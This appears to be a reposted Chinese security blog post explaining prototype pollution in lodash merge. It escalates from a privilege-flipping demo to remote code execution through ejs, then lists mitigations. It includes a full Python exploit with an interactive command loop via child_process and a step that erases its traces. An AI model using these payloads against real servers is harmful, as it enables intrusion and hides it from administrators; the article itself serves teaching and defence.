最新公告
  • 欢迎您光临起源地模板网,本站秉承服务宗旨 履行“站长”责任,销售只是起点 服务永无止境!立即加入钻石VIP
  • 前端原型链污染漏洞竟可以拿下服务器shell?

    正文概述 掘金(DYBOY)   2021-05-09   518

    某天正奋力的coding,机器人给发了这样一条消息

    前端原型链污染漏洞竟可以拿下服务器shell?

    查看发现是一个叫“原型链污染”(Prototype chain pollution)的漏洞,还好这只是 dev 依赖,当前功能下几乎没什么影响,其修复方式可以通过升级包版本即可。

    前端原型链污染漏洞竟可以拿下服务器shell?

    “原型链污染”漏洞,看起来好高大上的名字,和“互联网黑话”有得一拼,好奇心驱使下,抽丝剥茧地研究一番。

    目前该漏洞影响了框架常用的有:

    • Lodash <= 4.15.11
    • Jquery < 3.4.0
    • ...

    0x00 同学实现一下对象的合并?

    面试官让被面试的同学写个对象合并,该同学一听这问题,就这,就这,30s就写好了一份利用递归实现的对象合并,代码如下:

    function merge(target, source) {
        for (let key in source) {
            if (key in source && key in target) {
                merge(target[key], source[key])
            } else {
                target[key] = source[key]
            }
        }
    }
    

    可是面试的同学不知道,他实现的代码,会埋下一个原型链污染的漏洞,大家下次面试新同学的时候,可以问问了

    为啥会有原型链污染漏洞?

    那么接下来,我们一起深入浅出地认识一下原型链漏洞,以便于在日常开发过程中就规避掉这些可能的风险。

    0x01 JavaScript中的原型链

    1.1 基本概念

    三个名词:

    1. 隐式原型:所有引用类型(函数、数组、对象)都有 __proto__ 属性,例如arr.__proto__
    2. 显式原型:所有函数拥有prototype属性,例如:func.prototype
    3. 原型对象:拥有prototype属性的对象,在定义函数时被创建

    原型链之间的关系可以参考图1.1:

    前端原型链污染漏洞竟可以拿下服务器shell?

    1.2 原型链查找机制

    当一个变量在调用某方法或属性时,如果当前变量并没有该方法或属性,就会在该变量所在的原型链中依次向上查找是否存在该方法或属性,如果有则调用,否则返回undefined

    1.3 哪里会用到

    在开发中,常常会用到 toString()valueOf()等方法,array类型的变量拥有更多的方法,例如forEach()map()includes()等等。例如声明了一个arr数组类型的变量,arr变量却可以调用如下图中并未定义的方法和属性。

    前端原型链污染漏洞竟可以拿下服务器shell?

    通过变量的隐式原型可以查看到,数组类型变量的原型中已经定义了这些方法。例如某变量的类型是Array,那么它就可以基于原型链查找机制,调用相应的方法或属性。

    前端原型链污染漏洞竟可以拿下服务器shell?

    1.4 风险点分析&原型链污染漏洞原理

    首先看一个简单的例子:

    var a = {name: 'dyboy', age: 18};
    a.__proto__.role = 'administrator'
    var b = {}
    b.role    // output: administrator
    

    实际运行结果如下:

    前端原型链污染漏洞竟可以拿下服务器shell?

    可以发现,给隐式原型增加了一个role的属性,并且赋值为administrator(管理员)。在实例化一个新对象b的时候,虽然没有role属性,但是通过原型链可以读取到通过对象a在原型链上赋值的‘administrator’。

    问题就来了,__proto__指向的原型对象是可读可写的,如果通过某些操作(常见于mergeclone等方法),使得黑客可以增、删、改原型链上的方法或属性,那么程序就可能会因原型链污染而受到DOS、越权等攻击

    0x02 Demo演示 & 组合拳

    2.1 Demo演示

    Demo使用koa2来实现的服务端:

    const Koa = require("koa");
    const bodyParser = require("koa-bodyparser");
    const _ = require("lodash");
    
    const app = new Koa();
    app.use(bodyParser());
    
    // 合并函数
    const combine = (payload = {}) => {
      const prefixPayload = { nickname: "bytedanceer" };
      // 用法可参考:https://lodash.com/docs/4.17.15#merge
      _.merge(prefixPayload, payload);
      // 另外其他也存在问题的函数:merge defaultsDeep mergeWith
    };
    
    app.use(async (ctx) => {
      // 某业务场景下,合并了用户提交的payload
      if(ctx.method === 'POST') {
        combine(ctx.request.body);
      }
      // 某页面某处逻辑
      const user = {
        username: "visitor",
      };
      let welcomeText = "同学,游泳健身,了解一下?";
      // 因user.role不存在,所以恒为假(false),其中代码不可能执行
      if (user.role === "admin") {
        welcomeText = "尊敬的VIP,您来啦!";
      }
      ctx.body = welcomeText;
    });
    app.listen(3001, () => {
      console.log("Running: http://localohost:3001");
    });
    

    当一个游客用户访问网址:http://127.0.0.1:3001/ 时,页面会显示“同学,游泳健身,了解一下?”

    前端原型链污染漏洞竟可以拿下服务器shell?

    可以看到在代码中使用了loadsh(4.17.10版本)的merge()函数,将用户的payloadprefixPayload做了合并。

    乍一看,似乎并没有什么问题,对于业务似乎也不会产生什么问题,无论用户访问什么都应该只会返回“同学,游泳健身,了解一下?”这句话,程序上user.role是一个恒为衡为undefined的条件,则永远不会执行if判断体中的代码。

    然而使用特殊的payload测试,也就是运行一下我们的attack.py脚本

    前端原型链污染漏洞竟可以拿下服务器shell?

    当我们再访问http://127.0.0.1:3001时,会发现返回的结果如下:

    前端原型链污染漏洞竟可以拿下服务器shell?

    瞬间变成了健身房的VIP对吧,可以快乐白嫖了?此时,无论什么用户访问这个网址,返回的网页都会是显示如上结果,人人VIP时代。如果是咱写的代码在线上出现这问题,【事故通报】了解一下。

    前端原型链污染漏洞竟可以拿下服务器shell?

    attact.py 的代码如下:

    import requests
    import json
    req = requests.Session()
    target_url = 'http://127.0.0.1:3001'
    headers = {'Content-type': 'application/json'}
    # payload = {"__proto__": {"role": "admin"}}
    payload = {"constructor": {"prototype": {"role": "admin"}}}
    res = req.post(target_url, data=json.dumps(payload),headers=headers)
    print('攻击完成!')
    

    攻击代码中的payload:{"constructor": {"prototype": {"role": "admin"}}} 通过merge() 函数实现合并赋值,同时,由于payload设置了constructormerge时会给原型对象增加role属性,且默认值为admin,所以访问的用户变成了“VIP”

    2.2 分析一下loadsh中merge函数的实现

    分析的lodash版本4.17.10(感兴趣的同学可以拿到源码自己手动追溯?) node_modules/lodash/merge.js中通过调用了baseMerge(object, source, srcIndex)函数 则定位到:node_modules/lodash/_baseMerge.js 第20行的baseMerge函数

    function baseMerge(object, source, srcIndex, customizer, stack) {
      if (object === source) {
        return;
      }
      baseFor(source, function(srcValue, key) {
        // 如果合并的属性值是对象
        if (isObject(srcValue)) {
          stack || (stack = new Stack);
          // 调用 baseMerge
          baseMergeDeep(object, source, key, srcIndex, baseMerge, customizer, stack);
        }
        else {
          var newValue = customizer
            ? customizer(safeGet(object, key), srcValue, (key + ''), object, source, stack)
            : undefined;
          if (newValue === undefined) {
            newValue = srcValue;
          }
          assignMergeValue(object, key, newValue);
        }
      }, keysIn);
    }
    

    关注到safeGet的函数:

    function safeGet(object, key) {
      return key == '__proto__'
        ? undefined
        : object[key];
    }
    

    这也是为什么上面的payload为什么没使用__proto__而是使用了等同于这个属性的构造函数的prototype

    payload是一个对象因此定位到node_modules/lodash/_baseMergeDeep.js第32行:

    function baseMergeDeep(object, source, key, srcIndex, mergeFunc, customizer, stack) {
      var objValue = safeGet(object, key),
          srcValue = safeGet(source, key),
          stacked = stack.get(srcValue);
      if (stacked) {
        assignMergeValue(object, key, stacked);
        return;
      }
    

    定位函数assignMergeValuenode_modules/lodash/_assignMergeValue.js第13行

    function assignMergeValue(object, key, value) {
      if ((value !== undefined && !eq(object[key], value)) ||
          (value === undefined && !(key in object))) {
        baseAssignValue(object, key, value);
      }
    }
    

    再定位baseAssignValuenode_modules/lodash/_baseAssignValue.js第12行

    function baseAssignValue(object, key, value) {
      if (key == '__proto__' && defineProperty) {
        defineProperty(object, key, {
          'configurable': true,
          'enumerable': true,
          'value': value,
          'writable': true
        });
      } else {
        object[key] = value;
      }
    }
    

    绕过了if判断,然后进入else逻辑中,是一个简单的直接赋值操作,并未对constructorprototype进行判断,因此就有了:

    prefixPayload = { nickname: "bytedanceer" };
    // payload:{"constructor": {"prototype": {"role": "admin"}}}
    _.merge(prefixPayload, payload);
    // 然后就给原型对象赋值了一个名为role,值为admin的属性
    

    故而导致了用户会进入一个不可能进入的逻辑里,也就造成了上面出现的“越权”问题。

    2.3 漏洞组合拳,拿下服务器权限

    从上面的Demo案例中,你可能会有种错觉:原型链漏洞似乎并没有什么太大的影响,是不是不需要特别关注(相较于sql注入,xsscsrf等漏洞)。

    真的是这样吗?来看一个稍微修改了的另一个例子(增加使用了ejs渲染引擎),以原型链污染漏洞为基础,我们一起拿下服务器的shell

    const express = require('express');
    const bodyParser = require('body-parser');
    const lodash = require('lodash');
    const app = express();
    app
        .use(bodyParser.urlencoded({extended: true}))
        .use(bodyParser.json());
    app.set('views', './views');
    app.set('view engine', 'ejs');
    app.get("/", (req, res) => {
        let title = '游客你好';
        const user = {};
        if(user.role === 'vip') {
            title = 'VIP你好';
        }
        res.render('index', {title: title});
    });
    app.post("/", (req, res) => {
        let data = {};
        let input = req.body;
        lodash.merge(data, input);
        res.json({message: "OK"});
    });
    app.listen(8888, '0.0.0.0');
    

    该例子基于express+ejs+lodash,同理,访问localhost:8888也是只会显示游客你好,同上可以使用原型链攻击,使得“人人VIP”,但不仅限于此,我们还可以深入利用,借助ejs的渲染以及包含原型链污染漏洞的lodash就可以实现RCERemote Code Excution,远程代码执行)

    前端原型链污染漏洞竟可以拿下服务器shell?

    先看看我们可以实现的攻击效果:

    前端原型链污染漏洞竟可以拿下服务器shell?

    可以看到,借助attack.py脚本,我们可以执行任意的shell命令,于此同时我们还保证了不会影响其他用户(管理员无法轻易感知入侵),在接下来的情况黑客就会常识性地进行提权、权限维持、横向渗透等攻击,以获取更大利益,但与此同时,也会给企业带来更大损失。

    上面的攻击方法,是基于loadsh的原型链污染漏洞和ejs模板渲染相配合形成的代码注入,进而形成危害更大的RCE漏洞。

    接下来看看形成漏洞的原因:

    1. 打断点调试render方法

    前端原型链污染漏洞竟可以拿下服务器shell?

    1. 进入render方法,将options和模板名传给app.render()

    前端原型链污染漏洞竟可以拿下服务器shell?

    1. 获取到对应的渲染引擎ejs

    前端原型链污染漏洞竟可以拿下服务器shell?

    1. 进入一个异常处理

    前端原型链污染漏洞竟可以拿下服务器shell?

    1. 继续

    前端原型链污染漏洞竟可以拿下服务器shell?

    1. 通过模板文件渲染

    前端原型链污染漏洞竟可以拿下服务器shell?

    1. 处理缓存,这个函数也没啥可以利用的地方

    前端原型链污染漏洞竟可以拿下服务器shell?

    1. 终于来到模板编译的地方了

    前端原型链污染漏洞竟可以拿下服务器shell?

    1. 继续冲

    前端原型链污染漏洞竟可以拿下服务器shell?

    1. 终于进入ejs库里了

    前端原型链污染漏洞竟可以拿下服务器shell?

    在这个文件当中,发现第578行的opts.outputFunctionName是一undefined的值,如果该属性值存在,那么就拼接到变量prepended中,之后的第597行可以看到,作为了输出源码的一部分

    前端原型链污染漏洞竟可以拿下服务器shell?

    在697行,将拼接的源码,放到了回调函数中,然后返回该回调函数

    1. tryHandleCache中调用了该回调函数

    前端原型链污染漏洞竟可以拿下服务器shell?

    最后完成了渲染输出到客户端。

    可以发现在第10步骤中,第578行的opts.outputFunctionName是一undefined的值,我们通过对象原型链赋值一个js代码,那么它就会拼接到代码中(代码注入),并且在模版渲染的过程中会执行该js代码。

    前端原型链污染漏洞竟可以拿下服务器shell?

    nodejs环境下,可以借助其可调用系统方法代码拼接到该渲染回调函数中,作为函数体传递给回调函数,那么就可以实现远程任意代码执行,也就是上面演示的效果,用户可以执行任意系统命令。

    2.4 优雅地实现一个攻击脚本

    前端原型链污染漏洞竟可以拿下服务器shell?

    Exploit完整脚本如下:

    import requests
    import json
    
    req = requests.Session()
    
    target_url = 'http://127.0.0.1:8888'
    
    headers = {'Content-type': 'application/json'}
    
    # 无效攻击
    # payload = {"__proto__": {"role": "vip"}}
    
    # 普通的逻辑攻击
    payload = {"content":{"constructor": {"prototype": {"role": "vip"}}}}
    
    # RCE攻击
    # payload = {"content":{"constructor": {"prototype": {"outputFunctionName": "a; return global.process.mainModule.constructor._load('child_process').execSync('ls /'); //"}}}}
    
    # 反弹shell,比如反弹到MSF/CS上
    
    # 模拟一个交互式shell
    if __name__ == "__main__":
        payload = '\{"content":\{"constructor": \{"prototype": \{"outputFunctionName": "a; return global.process.mainModule.constructor._load(\'child_process\').execSync(\'{}\'); //"\}\}\}\}'
        while(True):
            shell = input('shell: ')
            if shell == '':
                continue
            if shell == 'exit':
                break
            formatStr = "a; return global.process.mainModule.constructor._load('child_process').execSync('" + shell +"'); //"
            payload = {"content":{"constructor": {"prototype": {"outputFunctionName": formatStr}}}}
    
            res = req.post(target_url, data=json.dumps(payload),headers=headers)
    
            res2 = req.get(target_url)
    
            print(res2.text)
    
            # 处理痕迹
            formatStr = "a; return delete Object.prototype['outputFunctionName']; //"
            payload = {"content":{"constructor": {"prototype": {"outputFunctionName": formatStr}}}}
            res = req.post(target_url, data=json.dumps(payload),headers=headers)
            req.get(target_url)
    

    0x03 如何规避或修复漏洞

    3.1 可能存在漏洞的场景

    • 对象克隆
    • 对象合并
    • 路径设置

    3.2 如何规避

    首先,原型链的漏洞其实需要攻击者对于项目工程或者能够通过某些方法(例如文件读取漏洞)获取到源码,攻击的研究成本较高,一般不用担心。但攻击者可能会通过一些脚本进行批量黑盒测试,或借助某些经验或规律,便可降低研究成本,所以也不能轻易忽略此问题。

    1. 及时升级包版本:公司的研发体系中,安全运维参与整个过程,在打包等操作时,会自动触发安全检测,其实就提醒了开发者可能存在有风险的三方包,这就需要大家及时升级对应的三方包到最新版,或者尝试替换更加安全的包。
    2. 关键词过滤:结合漏洞可能存在场景,可多关注下对象拷贝和合并等代码块,是否针对__proto__constructorprototype关键词做过滤。
    3. 使用hasOwnProperty来判断属性是否直接来自于目标,这个方法会忽略从原型链上继承到的属性。
    4. 在处理 json 字符串时进行判断,过滤敏感键名。
    5. 使用 Object.create(null) 创建没有原型的对象。
    6. Object.freeze(Object.prototype)冻结Object的原型,使Object的原型无法被修改,注意该方法是一个浅层冻结。

    0x04 问题 & 探索

    4.1 更多问题

    1. Q:为什么在demo案例中payload中不用__proto__

    A:在我使用的loadsh库4.17.10版本中,发现针对__proto__关键词做了判断和过滤,因此想到了通过访问构造函数的prototype的方式绕过

    前端原型链污染漏洞竟可以拿下服务器shell?

    1. Q:在Demo中,为什么被攻击后,任意用户访问都是VIP身份了?

    AJavaAcript是单线程执行程序的,所以原型链上的属性相当于是global,所有连接的用户都共享,当某个用户的操作改变了原型链上的内容,那么所有访问者访问程序的都是基于修改之后的原型链

    4.2 探索

    作为安全研究人员,上面演示的原型链漏洞看似威胁并不大,但实际上黑客的攻击往往是漏洞的组合,当一个轻危级别的漏洞,作为高危漏洞的攻击的基础,那么低危漏洞还能算是低危漏洞吗?这更需要安全研究人员,不仅要追求对高危漏洞的挖掘,还得增强对基础漏洞的探索意识。

    作为开发人员,我们可以尝试下,如何借助工具快速检测程序中是否存在原型链污染漏洞,以期望加强企业程序的安全性。幸运的是,在公司内部已经通过编译平台做了一些安全检查,大家可以加强对于安全的关注度。

    原型链污染的利用难度虽然较大,但是基于其特性,所有的开源库都在npm上可以看到,如果恶意的黑客,通过批量检测开源库,并且通过搜集特征,那么他想要获取攻击目标程序的是否引用具有漏洞的开源库也并非是一件困难的事情。

    那么我们自己写一个脚本去Github上刷一波,也不是不行...

    前端原型链污染漏洞竟可以拿下服务器shell?

    如有不妥之处,欢迎大家留言斧正!

    Reference

    • 继承与原型链(MDN)
    • Prototype pollution attack (lodash)
    • JavaScript_prototype pollution attack in NodeJS
    • Lodash Document
    • juejin.im/post/684490…
    • JS冻结对象的《人间词话》 完美实现究竟有几层?
    • Web前端安全合规编码指导 v1.0
    • 国家信息安全漏洞共享平台

    如果觉得文章不错的话,不妨微信搜索:“DYBOY”,关注笔者公众号,第一时间获得最新技术文章!


    起源地下载网 » 前端原型链污染漏洞竟可以拿下服务器shell?

    常见问题FAQ

    免费下载或者VIP会员专享资源能否直接商用?
    本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。更多说明请参考 VIP介绍。
    提示下载完但解压或打开不了?
    最常见的情况是下载不完整: 可对比下载完压缩包的与网盘上的容量,若小于网盘提示的容量则是这个原因。这是浏览器下载的bug,建议用百度网盘软件或迅雷下载。若排除这种情况,可在对应资源底部留言,或 联络我们.。
    找不到素材资源介绍文章里的示例图片?
    对于PPT,KEY,Mockups,APP,网页模版等类型的素材,文章内用于介绍的图片通常并不包含在对应可供下载素材包内。这些相关商业图片需另外购买,且本站不负责(也没有办法)找到出处。 同样地一些字体文件也是这种情况,但部分素材会在素材包内有一份字体下载链接清单。
    模板不会安装或需要功能定制以及二次开发?
    请QQ联系我们

    发表评论

    还没有评论,快来抢沙发吧!

    如需帝国cms功能定制以及二次开发请联系我们

    联系作者

    请选择支付方式

    ×
    迅虎支付宝
    迅虎微信
    支付宝当面付
    余额支付
    ×
    微信扫码支付 0 元